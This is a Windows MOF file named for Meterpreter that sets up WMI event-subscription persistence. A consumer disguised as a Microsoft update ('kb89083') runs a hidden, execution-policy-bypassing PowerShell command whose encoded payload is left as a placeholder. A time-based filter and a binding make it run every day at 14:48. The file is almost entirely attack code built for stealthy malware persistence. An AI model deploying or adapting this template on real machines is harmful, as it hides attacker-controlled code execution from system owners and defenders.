dnsping-meterpreter.mof

#pragma namespace ("\\\\.\\root\\subscription")

instance of CommandLineEventConsumer as $asd
{
    Name = "Microsoft Windows kb89083";
    RunInteractively=false;
    CommandLineTemplate="cmd /C powershell -windowstyle hidden -ExecutionPolicy ByPass -EncodedCommand <BASE64 CODE>";
};

instance of __EventFilter as $Filt
{
    Name = "EF";
Query = "SELECT * FROM __InstanceModificationEvent WHERE "    
    "TargetInstance ISA \"Win32_LocalTime\" AND "
    "TargetInstance.Hour = 14 AND TargetInstance.Minute = 48 AND "
 "TargetInstance.Second = 0";
    QueryLanguage = "WQL";
    EventNamespace = "root\\cimv2";
};


instance of __FilterToConsumerBinding
{
    Filter = $Filt;
    Consumer = $asd;
};